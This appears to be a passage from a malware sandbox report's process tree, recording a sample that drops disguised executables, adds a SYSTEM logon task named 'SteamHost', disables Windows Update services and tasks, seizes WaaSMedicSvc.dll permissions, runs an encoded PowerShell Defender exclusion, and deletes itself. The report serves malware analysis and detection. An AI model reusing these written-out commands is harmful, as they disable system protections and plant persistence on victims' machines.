                                                                                                                                                                              reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
                                                                                                                                                                              7⤵
                                                                                                                                                                                PID:1076
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:2888
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:3360
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                                                                                                                                                                    7⤵
                                                                                                                                                                                      PID:2012
                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                      reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:4092
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:2552
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                          SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:4292
                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                            SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:4848
                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                              SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:4604
                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                  PID:1220
                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                  SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:3232
                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                    SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                      PID:4468
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                    • Power Settings
                                                                                                                                                                                                    PID:1472
                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                      powercfg /x -hibernate-timeout-ac 0
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                      • Power Settings
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:2248
                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                      powercfg /x -hibernate-timeout-dc 0
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                      • Power Settings
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:4036
                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                      powercfg /x -standby-timeout-ac 0
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                      • Power Settings
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:880
                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                      powercfg /x -standby-timeout-dc 0
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                      • Power Settings
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:228
                                                                                                                                                                                                  • C:\Windows\System32\conhost.exe
                                                                                                                                                                                                    C:\Windows\System32\conhost.exe
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                    PID:4808
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "SteamHost" /tr "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:4740
                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                        schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "SteamHost" /tr "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                        PID:4256
                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" cmd /c "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:4092
                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                          PID:2332
                                                                                                                                                                                                        • C:\Users\Admin\Chrome\updater.exe
                                                                                                                                                                                                          C:\Users\Admin\Chrome\updater.exe
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:1328
                                                                                                                                                                                                          • C:\Windows\System32\conhost.exe
                                                                                                                                                                                                            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Chrome\updater.exe"
                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:4168
                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                PID:2664
                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                  PID:3936
                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  powershell -EncodedCommand "PAAjAGUAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAbwB1AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABxACMAPgA="
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:4528
                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                  PID:3012
                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                    PID:4848
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc stop wuauserv
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:3024
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc stop bits
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:4672
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc stop dosvc
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:3268
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc stop UsoSvc
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:3056
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc stop WaaSMedicSvc
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:1808
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc config wuauserv start= disabled
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:2988
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc failure wuauserv reset= 0 actions= ""
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:4472
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc config bits start= disabled
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:1736
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc failure bits reset= 0 actions= ""
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:216
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc config dosvc start= disabled
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:4808
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc failure dosvc reset= 0 actions= ""
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:2224
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc config UsoSvc start= disabled
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:4864
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc failure UsoSvc reset= 0 actions= ""
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:5060
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc config wuauserv start= disabled
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:952
                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                    sc failure wuauserv reset= 0 actions= ""
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                    PID:4896
                                                                                                                                                                                                                  • C:\Windows\system32\takeown.exe
                                                                                                                                                                                                                    takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                    PID:2608
                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                    icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                    PID:3880
                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                    reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                      PID:1616
                                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                      reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                        PID:1776
                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                        reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                          PID:5060
                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                          reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                            PID:3060
                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                            reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                              PID:4156
                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                              reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                PID:4432
                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                  PID:2768
                                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                  SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                    PID:3884
                                                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                    SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                      PID:4820
                                                                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                      SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                        PID:1932
                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                        SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                          PID:1648
                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                          SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                            PID:1060
                                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                            SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                              PID:1616
                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                            • Power Settings
                                                                                                                                                                                                                                            PID:3624
                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                              PID:464
                                                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                              powercfg /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Power Settings
                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                              PID:2212
                                                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                              powercfg /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Power Settings
                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                              PID:2400
                                                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                              powercfg /x -standby-timeout-ac 0
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Power Settings
                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                              PID:1076
                                                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                              powercfg /x -standby-timeout-dc 0
                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                              • Power Settings
                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                              PID:1432
                                                                                                                                                                                                                                          • C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                              PID:2492
                                                                                                                                                                                                                                              • C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\conhost.exe" "sjrcqeodaodte"
                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                  PID:3556
                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" cmd /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:1352
                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                              PID:4516
                                                                                                                                                                                                                                            • C:\Windows\system32\choice.exe
                                                                                                                                                                                                                                              choice /C Y /N /D Y /T 3
                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                PID:464
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        cmd /c start C:\Users\Admin\AppData\Local\Temp\explorer.exe
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                        PID:3980
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\explorer.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\explorer.exe
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          PID:1500
                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:628
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          cmd /c start C:\Users\Admin\AppData\Local\Temp\windowshost.exe
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                          PID:3412
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\windowshost.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\windowshost.exe
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                            PID:1532
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\driverPerf\DDCzSbk7D28EdFKaphOM.vbe"
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                              PID:3084
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\driverPerf\lG0LQTEIJKvWsYHAg5CgQ5boB.bat" "
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                PID:2156
                                                                                                                                                                                                                                                • C:\driverPerf\cominto.exe
                                                                                                                                                                                                                                                  "C:\driverPerf\cominto.exe"
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                  PID:4440
                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:3588
                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:3776
                                                                                                                                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:3944
                                                                                                                                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:4116
                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:3760
                                                                                                                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:2208
                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:4716
                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                    PID:4888
                                                                                                                                                                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:4456
                                                                                                                                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:3524
